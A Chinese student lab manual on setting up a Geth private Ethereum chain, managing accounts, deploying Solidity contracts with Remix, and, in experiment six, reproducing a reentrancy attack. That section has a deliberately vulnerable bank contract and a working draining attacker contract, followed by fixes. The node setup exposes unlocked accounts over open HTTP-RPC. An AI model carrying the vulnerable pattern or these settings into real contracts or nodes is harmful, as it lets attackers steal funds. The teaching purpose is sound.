新版区块链技术及应用 · Ethereum 实验指导手册

适配环境:WSL2 Ubuntu 22.04 · Go 1.18.1 · Geth v1.10.25 · Remix IDE(在线/本地)· Solidity 0.8.x | 适用对象:初次接触以太坊的本科生/研究生
⚠️ 关于本手册的假设说明

交接文档仅提供零散命令,未规定实验章节与密码。本手册按以下合理假设编写,请师生按需调整:

  • 实验拆为 6 个递进章节;账户密码统一以占位符 YourPassword123 表示,请自行设定并牢记。
  • 创世文件已补全 geth 1.10.x 所需全部字段;网络 ID 取 1108。
  • 合约示例基于 Solidity 0.8.x,在 Remix 中选择对应编译器版本。
  • 学生环境以 Ubuntu 22.04(含 WSL2)为准,文末附 Windows/macOS 差异提示。

实验总览与前置说明

以太坊(Ethereum)是一个支持智能合约的公有链平台。本手册通过 6 个递进实验,带你在本地私有链上完整走通「装环境 → 建链 → 管账户/挖矿/转账 → 写合约 → 部署 → 交互 → 安全攻防」全流程,所有操作均可离线完成,不消耗真实以太币。

1. 软件与版本清单

组件版本/说明用途
操作系统Ubuntu 22.04(推荐 WSL2)运行节点
Gogo1.18.1,路径 /usr/local/go编译 Geth
Gethv1.10.25-stable(源码 ~/go-ethereum)以太坊客户端
Remix IDEhttps://remix.ethereum.org合约编写/编译/部署
浏览器Chrome / Edge访问 Remix、查看区块浏览器(可选)

2. 目录与约定

  • ~/go-ethereum:Geth 源码;编译产物 ~/go-ethereum/build/bin/geth。
  • ~/ethereum_lab:实验根目录,存放 genesis.json 与各节点数据目录(data0、data1)。
  • 命令提示符 $ 表示在 Ubuntu 终端执行;> 表示在 Geth JavaScript 控制台(geth console / attach)执行。

3. 实验流程总览

💡 原理:什么是私有链(Private Chain)?

公有链(如主网以太坊)由全球节点共同维护、需要真币激励。私有链是仅由你控制的本地区块链:它通过一份自定义的「创世文件(genesis)」从零生成,出块难度极低,可瞬间挖矿获得测试币。私有链是学习、调试合约的最佳沙盒——所有操作零成本、可随意重置。

实验一 以太坊开发环境搭建

1.1 安装 Go 语言

💡 原理:为什么需要 Go?

Geth(Go-Ethereum)是用 Go 语言编写的官方客户端之一。编译它需要 Go 工具链。Go 1.18 引入了泛型,与 Geth v1.10.25 兼容;版本过高(如 1.21+)有时会因依赖变更导致编译失败,交接环境固定为 go1.18.1。

步骤 1下载并解压 Go 1.18.1
# 进入临时目录
cd /tmp
# 下载 Go 1.18.1(国内可从 https://golang.google.cn/dl/ 获取)
wget https://go.dev/dl/go1.18.1.linux-amd64.tar.gz
# 解压到 /usr/local(会覆盖已有 go 目录)
sudo rm -rf /usr/local/go
sudo tar -C /usr/local -xzf go1.18.1.linux-amd64.tar.gz
步骤 2配置 PATH 与环境变量
# 写入 ~/.bashrc(若使用 zsh 则写 ~/.zshrc)
cat >> ~/.bashrc <<'EOF'
export PATH=$PATH:/usr/local/go/bin:$HOME/go/bin
export GOPATH=$HOME/go
export GO111MODULE=on
EOF
# 立即生效
source ~/.bashrc
步骤 3验证 Go 安装
go version
# 预期输出:go version go1.18.1 linux/amd64
✅ 预期结果

终端打印 go version go1.18.1 linux/amd64。若提示 command not found: go,说明 PATH 未生效,请重新 source ~/.bashrc 或检查解压路径。

1.2 编译 Geth 源码

💡 原理:GOPROXY 与模块代理

Go 依赖通过模块代理下载。proxy.golang.org 在国内常因网络被阻断而报连接失败。需将代理切到国内镜像 goproxy.cn,否则 make geth 会卡在拉取依赖。

步骤 1设置国内模块代理
go env -w GOPROXY=https://goproxy.cn,direct
go env -w GOSUMDB=off
go env GOPROXY   # 确认输出 https://goproxy.cn,direct
步骤 2获取 Geth 源码并编译
# 若已有源码则跳过 clone
git clone https://github.com/ethereum/go-ethereum.git ~/go-ethereum
cd ~/go-ethereum
git checkout v1.10.25
# 编译 geth(结果在 build/bin/geth)
make geth
步骤 3将 geth 加入 PATH
cat >> ~/.bashrc <<'EOF'
export PATH=$PATH:$HOME/go-ethereum/build/bin
EOF
source ~/.bashrc
which geth   # 应输出 $HOME/go-ethereum/build/bin/geth
✅ 预期结果

make geth 末尾出现 Done building.,且 geth version 可正常输出版本信息(含 Version: 1.10.25-stable)。

1.3 验证工具链

go version
geth version
# 两者均应正常输出版本,无报错
🛠 常见报错与排障
报错现象原因解决办法
proxy.golang.org: connection refused / i/o timeout默认代理在国内不可达go env -w GOPROXY=https://goproxy.cn,direct
geth: command not foundPATH 未包含 geth 路径或未 source确认 ~/go-ethereum/build/bin 已加入 PATH 并 source ~/.bashrc
make: *** [geth] Error 1 编译失败Go 版本不匹配或依赖损坏核对 go version 为 1.18.1;make clean 后重试;确认 GOPROXY 生效
git clone 速度极慢/失败GitHub 访问受限改用镜像 https://github.com.cnpmjs.org/ethereum/go-ethereum.git 或提前拷贝源码

实验二 搭建以太坊私有链

私有链由一份创世文件(genesis.json)定义初始状态。所有节点必须用相同的创世文件 + 相同的 networkid 才能组成同一条链。

2.1 编写创世文件

💡 原理:创世文件关键字段
  • config.chainId:链 ID,钱包/节点用它区分不同链(主网为 1)。私有链常取任意值,如 1108。
  • difficulty:出块难度。设为 0x1 使 CPU 几乎瞬间出块,便于实验。
  • gasLimit:单区块 Gas 上限,决定能容纳多少交易。私有链可设较大值 0x8000000。
  • alloc:创世时预置余额的账户;留空则初始无人有币,需靠挖矿产出。
  • config 中的各 *Block:启用对应以太坊分叉的区块高度,私有链通常全设为 0(创世即启用)。
步骤 1创建实验目录与创世文件
mkdir -p ~/ethereum_lab && cd ~/ethereum_lab
nano genesis.json

将以下内容写入 genesis.json:

{
  "config": {
    "chainId": 1108,
    "homesteadBlock": 0,
    "eip150Block": 0,
    "eip155Block": 0,
    "eip158Block": 0,
    "byzantiumBlock": 0,
    "constantinopleBlock": 0,
    "petersburgBlock": 0,
    "istanbulBlock": 0,
    "berlinBlock": 0,
    "londonBlock": 0
  },
  "nonce": "0x0",
  "timestamp": "0x0",
  "extraData": "0x00",
  "gasLimit": "0x8000000",
  "difficulty": "0x1",
  "mixhash": "0x0000000000000000000000000000000000000000000000000000000000000000",
  "coinbase": "0x000000000000000000000000000000000000000000",
  "alloc": {}
}

2.2 初始化与启动节点

步骤 1用创世文件初始化数据目录
# data0 为节点0的数据目录
geth --datadir data0 init genesis.json
✅ 预期结果

输出 Successfully wrote genesis state ...,并在 data0 下生成 geth/ 与 keystore/ 子目录。

步骤 2启动节点并开启 HTTP/RPC
geth --datadir data0 --networkid 1108 --http \
  --http.corsdomain "*" --http.vhosts "*" \
  --http.api eth,net,web3,personal,admin,miner \
  --allow-insecure-unlock \
  console 2>>geth.log
💡 原理:各启动参数
  • --http:开启 HTTP-RPC(默认端口 8545),Remix、脚本可通过它交互。
  • --http.api:开放哪些 RPC 模块。personal(账户)、miner(挖矿)、admin 必须显式开启,否则 Remix/脚本无权操作。
  • --http.corsdomain "*":允许跨域,Remix 网页才能调用本地节点。
  • --allow-insecure-unlock:允许通过 HTTP 解锁账户(实验方便,生产禁用)。
  • console:同时进入 JS 交互控制台;2>>geth.log 把日志重定向,便于排障。
✅ 预期结果

终端进入 > 交互提示符,并出现 Welcome to the Geth JavaScript console! 与 HTTP server started 日志。节点开始尝试出块(因难度为 1,但尚无矿工,区块高度为 0)。

2.3 另开终端连接控制台(attach)

💡 原理:IPC 与 RPC 两种连接方式

节点运行时会在数据目录生成 geth.ipc(进程间通信套接字)。geth attach 通过 IPC 接入同一个节点进程——你在 attach 终端输入的命令,与 console 终端作用在同一节点上。这种方式无需密码、权限最高,适合本地操作。

步骤新开终端执行 attach
cd ~/ethereum_lab
geth attach ipc:data0/geth.ipc
✅ 预期结果

新终端也进入 > 提示符。输入 eth.blockNumber 返回 0,net.version 返回 "1108"。

🛠 常见报错与排障(实验二)
报错现象原因解决办法
Fatal: Failed to write genesis block: genesis mismatch ...已有数据目录,但创世文件被改动删除旧数据:rm -rf data0,再重新 init
Unable to attach to geth ipc:... no such file or directory节点未启动,或 ipc 路径错先启动节点;确认路径为 data0/geth.ipc(geth 子目录下)
bind: address already in use(端口 8545 被占用)已有 geth 或别的程序占用lsof -i:8545 查进程并结束;或加 --http.port 8546 换端口
Remix 连接后无账户 / 调用报 403缺少 CORS 或 API 未开放启动务必带 --http.corsdomain "*" --http.vhosts "*" --http.api eth,net,web3,personal,admin,miner

实验三 账户管理、挖矿与转账

3.1 创建账户

💡 原理:外部账户(EOA)

以太坊账户分两类:外部账户(EOA)由私钥控制、可发起交易;合约账户由代码控制。这里创建的是 EOA。账户地址由公钥哈希得到,密钥文件(keystore)加密保存在 data0/keystore/。必须记住密码——密码仅用于本地解密 keystore,丢失无法找回。

步骤在控制台创建两个账户
// 在 geth 控制台(> 提示符)执行
personal.newAccount("YourPassword123")   // 账户0
personal.newAccount("YourPassword123")   // 账户1
eth.accounts                              // 列出全部账户地址
✅ 预期结果

personal.newAccount 返回新地址(如 "0xabc...def");eth.accounts 返回长度为 2 的地址数组。

3.2 设置矿工并挖矿

💡 原理:挖矿与 coinbase

矿工(miner)把待确认交易打包成新区块。miner.setEtherbase(addr) 指定「挖矿奖励(区块奖励)」打入哪个账户,该账户即称为 coinbase。私有链难度为 1,miner.start(1) 用一个线程即可持续出块,账户余额随之增长。

步骤 1指定 coinbase 并启动挖矿
miner.setEtherbase(eth.accounts[0])
miner.start(1)        // 启动 1 个挖矿线程
// 等待数秒后查看
eth.blockNumber       // 应大于 0,且持续增长
eth.getBalance(eth.accounts[0])
步骤 2停止挖矿
miner.stop()
✅ 预期结果

eth.blockNumber 持续增大(如达到几十/上百);eth.getBalance(eth.accounts[0]) 返回一个很大的数字(单位 wei,1 ETH = 10¹⁸ wei)。用 web3.fromWei(bal,"ether") 可换算为 ETH。

3.3 转账交易

💡 原理:交易、nonce 与 Gas
  • 交易(Transaction):由 EOA 签名、改变状态的操作。转账就是一笔 value 交易。
  • nonce:账户发出的交易序号,从 0 递增,防止重放。每笔交易 nonce 必须唯一且连续。
  • Gas:执行交易消耗的计算资源计量;gasPrice × gas 为手续费,从发送方扣除。未解锁账户无法签名交易。
步骤 1解锁发送方账户
personal.unlockAccount(eth.accounts[0], "YourPassword123", 30000)
// 返回 true 表示解锁成功,有效期 30000 秒
步骤 2发起转账并挖矿确认
var tx = eth.sendTransaction({
  from: eth.accounts[0],
  to:   eth.accounts[1],
  value: web3.toWei(10, "ether")
});
console.log(tx);          // 打印交易哈希
miner.start(1);           // 挖矿把交易打包进区块
admin.sleep(3);           // 等待约 3 秒
miner.stop();
eth.getBalance(eth.accounts[1])   // 应约等于 10 ETH
✅ 预期结果

eth.sendTransaction 返回 32 字节交易哈希;打包后 eth.accounts[1] 余额增加约 10 ETH(因挖矿奖励也打入 coinbase=accounts[0],accounts[1] 仅收到转账)。

🛠 常见报错与排障(实验三)
报错现象原因解决办法
could not decrypt key with given password密码错误确认使用创建账户时的密码;密码区分大小写
account is locked账户未解锁或已过期重新 personal.unlockAccount(acc, pw, 30000)
insufficient funds for gas * price + value发送方余额不足先挖矿给 accounts[0] 充值;确认转账额 ≤ 余额
交易发出后余额不变交易未被打包(未挖矿)转账后执行 miner.start(1) 出块确认
nonce too lownonce 重复/错乱用 eth.getTransactionCount(acc) 查正确 nonce 并显式指定

实验四 智能合约开发与部署

4.1 Solidity 与示例合约

💡 原理:智能合约与 EVM

智能合约是部署在链上的程序,由 Solidity 编写、编译为 EVM 字节码。合约有状态变量(持久化在链上)、函数(读/写状态)、事件(供链下监听的日志)。部署合约本质是一笔「to 为空、data 为字节码」的特殊交易,由 EVM 执行后生成合约账户。

步骤 1编写示例合约 SimpleBank(存取款)
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract SimpleBank {
    mapping(address => uint) public balances;
    address public owner;

    event Deposit(address indexed who, uint amount);
    event Withdraw(address indexed who, uint amount);

    constructor() {
        owner = msg.sender;
    }

    // 存款:向合约转入以太币
    function deposit() public payable {
        require(msg.value > 0, "deposit must be positive");
        balances[msg.sender] += msg.value;
        emit Deposit(msg.sender, msg.value);
    }

    // 取款:Checks-Effects-Interactions 顺序,先改状态再转账
    function withdraw(uint amount) public {
        require(balances[msg.sender] >= amount, "insufficient balance");
        balances[msg.sender] -= amount;            // 先改状态
        (bool ok, ) = msg.sender.call{value: amount}(""); // 再交互
        require(ok, "transfer failed");
        emit Withdraw(msg.sender, amount);
    }

    function getBalance() public view returns (uint) {
        return balances[msg.sender];
    }
}

4.2 Remix 连接私有链

步骤 1在 Remix 配置外部 HTTP Provider
  1. 打开 https://remix.ethereum.org,进入 Deploy & Run Transactions 标签页。
  2. environment 下拉选择 External Http Provider。
  3. 弹出框填入 http://127.0.0.1:8545(确保 geth 已按实验二参数启动)。
  4. 连接成功后,Account 列表会出现 geth 中的账户(即 eth.accounts)。
✅ 预期结果

Environment 显示已连接,Account 下拉出现 0x... 地址;点击账户可见其余额(与控制台 eth.getBalance 一致)。

4.3 编译与部署

步骤 1编译
  1. 在 File Explorer 新建 SimpleBank.sol,粘贴上述代码。
  2. 进入 Solidity Compiler,Compiler 版本选 0.8.x,点击 Compile SimpleBank.sol。
  3. 出现绿色对勾表示编译通过。
步骤 2部署(需先挖矿/解锁)
// 在 geth 控制台先解锁并挖矿,确保部署账户有 gas
personal.unlockAccount(eth.accounts[0], "YourPassword123", 30000)
miner.start(1); admin.sleep(2); miner.stop()
  1. 回到 Remix 的 Deploy & Run,选中 SimpleBank,点击 Deploy。
  2. 在 geth 控制台 miner.start(1); admin.sleep(3); miner.stop() 把部署交易打包。
✅ 预期结果

Remix 底部 Deployed Contracts 出现 SimpleBank 实例,展开可见 deposit、withdraw、getBalance 等函数;控制台 eth.blockNumber 已增长。

🛠 常见报错与排障(实验四)
报错现象原因解决办法
Remix 连接后 Account 为空geth 未开放 personal/admin,或节点未启动确认启动带 --http.api eth,net,web3,personal,admin,miner 且节点在运行
Provider failed / callback errorCORS 拦截启动加 --http.corsdomain "*";浏览器用 http://127.0.0.1 而非 localhost
Deploy 后一直 pending交易未打包部署后务必 miner.start(1) 挖矿确认
out of gasGas 上限过低Remix 中调高 Gas limit(如 3000000)
编译器报 pragma 版本不匹配Solidity 版本不选Compiler 选 0.8.x,与 pragma solidity ^0.8.0; 一致

实验五 合约交互、查询与事件

5.1 调用与查询合约

💡 原理:call 与 send 的区别

只读函数(view/pure)用 call 执行,不消耗 Gas、不改变状态,可免费本地模拟;写函数用 send 发起交易,需 Gas、需挖矿确认、会改变链上状态。

步骤 1存款并查询
// 在 Remix 已部署的 SimpleBank 实例中:
// 1) deposit:VALUE 填 1 ether,点击 deposit
// 2) 挖矿确认
miner.start(1); admin.sleep(2); miner.stop();
// 3) 调用 getBalance()(只读,立即返回)
// 也可在 geth 控制台用 ABI 调用:
var abi = [/* 从 Remix Compilation Details - ABI 复制 */];
var addr = "0x部署得到的合约地址";
var bank = eth.contract(abi).at(addr);
bank.getBalance();          // 返回存款额(wei)
✅ 预期结果

getBalance() 返回约 1000000000000000000(1 ETH 的 wei 数)。

5.2 监听事件与日志

💡 原理:事件(Event)与日志

事件会被写入区块的日志(logs),是合约向外「广播」发生的动作。链下程序(如 DApp、监控脚本)可订阅事件,无需轮询状态。事件参数加 indexed 后可被高效过滤(类似数据库索引)。

步骤查询历史 Deposit 事件
// 取合约地址后,在 geth 控制台:
var abi = [/* SimpleBank ABI */];
var bank = eth.contract(abi).at("0x合约地址");
var evt = bank.Deposit({}, {fromBlock:0, toBlock:"latest"});
evt.get(function(err, logs){
  if(!err) console.log(logs);   // 打印所有 Deposit 事件
});
✅ 预期结果

返回包含 args.who、args.amount 的事件对象数组,证明存款动作已被链上记录。

🛠 常见报错与排障(实验五)
报错现象原因解决办法
bank.getBalance is not a functionABI 未含该函数 / 实例化失败从 Remix 复制完整 ABI;确认 at(addr) 地址正确
读函数返回 0 / 旧值写交易尚未打包写操作后先挖矿再查询
事件监听无输出fromBlock 设置过晚 / 未部署即查设 fromBlock:0;确认合约已部署且发生过该事件

实验六 安全实验:重入漏洞复现与防护

6.1 漏洞原理

💡 原理:重入攻击(Reentrancy)

当合约在修改自身状态之前就向外部地址转账(如 msg.sender.call{value:...}),而收款方是攻击合约的回退函数(fallback)时,控制流会重新进入原合约的取款逻辑——在余额还没被扣减前再次取款,形成循环盗取。

经典顺序错误:转账 → 再扣余额;安全顺序应为 先扣余额 → 再转账(Checks-Effects-Interactions),或加重入锁。

6.2 复现攻击

步骤 1部署存在漏洞的银行合约
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

// ⚠️ 故意保留漏洞,仅用于教学复现
contract VulnerableBank {
    mapping(address => uint) public balances;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    // 漏洞:先转账(触发外部调用),后改状态
    function withdraw(uint amount) public {
        require(balances[msg.sender] >= amount);
        (bool ok, ) = msg.sender.call{value: amount}(""); // 外部调用
        require(ok);
        balances[msg.sender] -= amount;                    // 状态更新滞后
    }

    function getBalance() public view returns (uint) {
        return address(this).balance;
    }
}
步骤 2部署攻击合约
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./VulnerableBank.sol";

contract Attacker {
    VulnerableBank public bank;

    constructor(address _bank) {
        bank = VulnerableBank(_bank);
    }

    // 先存款 1 ether,再一次性取出(触发重入)
    function attack() external payable {
        bank.deposit{value: 1 ether}();
        bank.withdraw(1 ether);
    }

    // 回退函数:只要银行还有钱,就继续 withdraw,形成重入
    receive() external payable {
        if (address(bank).balance >= 1 ether) {
            bank.withdraw(1 ether);
        }
    }
}
步骤 3执行攻击并观察
  1. 向 VulnerableBank 存入较多测试币(如 10 ETH,用普通账户 deposit)。
  2. 部署 Attacker,调用 attack{value:1 ether}。
  3. 挖矿确认后,查看 bank.getBalance() 与 attacker 账户余额。
✅ 预期结果

银行的余额被「抽干」到接近于 0,攻击者账户凭 1 ETH 本金反复重入,卷走了银行里几乎所有资金——直观演示了重入的危害。

6.3 防护方案

方案 AChecks-Effects-Interactions(先改状态再转账)
function withdraw(uint amount) public {
    require(balances[msg.sender] >= amount);
    balances[msg.sender] -= amount;            // 先改状态
    (bool ok, ) = msg.sender.call{value: amount}(""); // 再交互
    require(ok);
}
方案 B使用 OpenZeppelin ReentrancyGuard 重入锁
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";

contract SafeBank is ReentrancyGuard {
    mapping(address => uint) public balances;

    function withdraw(uint amount) public nonReentrant {
        require(balances[msg.sender] >= amount);
        balances[msg.sender] -= amount;
        (bool ok, ) = msg.sender.call{value: amount}("");
        require(ok);
    }
}
📌 实验要点

对比「漏洞版」「方案A」「方案B」三种合约在攻击下的表现:只有先改状态或加锁的版本能抵御重入。请记录攻击前后银行余额,并写入实验报告。

🛠 常见报错与排障(实验六)
报错现象原因解决办法
import 找不到文件多文件未同处一个目录在 Remix 同工作区放 VulnerableBank.sol 与 Attacker.sol;OpenZeppelin 需通过 Remix 插件或 paste
攻击未成功(银行余额未变)geth 单线程执行,fallback 重入被当前交易锁定?确认 withdraw 中转账在扣减之前;Attacker.receive 中条件正确
out of gas 在攻击交易重入循环消耗大量 gasRemix 调高 Gas limit(如 8000000),私有链 gasLimit 已设较大

附录 常见报错速查表

阶段现象一句话解决
编译proxy.golang.org 连接失败go env -w GOPROXY=https://goproxy.cn,direct
启动genesis mismatchrm -rf data0 后重新 init
启动端口 8545 被占用结束占用进程或 --http.port 8546
连接attach 找不到 ipc先启动节点;路径用 data0/geth.ipc
账户account is lockedpersonal.unlockAccount 重新解锁
转账insufficient funds先挖矿给发送方充值
部署Remix 无账户/CORS启动带 corsdomain/vhosts/api 参数
部署交易一直 pending部署/转账后 miner.start(1) 挖矿确认
📎 Windows / macOS 差异提示
  • Windows 用户可在 WSL2 Ubuntu 22.04 中按本手册操作;直接在 cmd/PowerShell 跑 geth 亦可,但路径写 C:\...、分隔符用 \。
  • macOS 用 Homebrew 装 go(brew install go@1.18),其余命令一致。
  • Remix 网页端跨域访问本机节点时,浏览器地址务必用 http://127.0.0.1:8545 而非 localhost。
🎓 学习小结

完成六个实验后,你应理解:私有链如何由创世文件诞生;账户、nonce、Gas 如何支撑一笔转账;智能合约如何编译部署到 EVM;以及「先改状态再交互」这一关键安全原则。建议把每个实验的预期结果截图 + 报错排障记录整理进实验报告。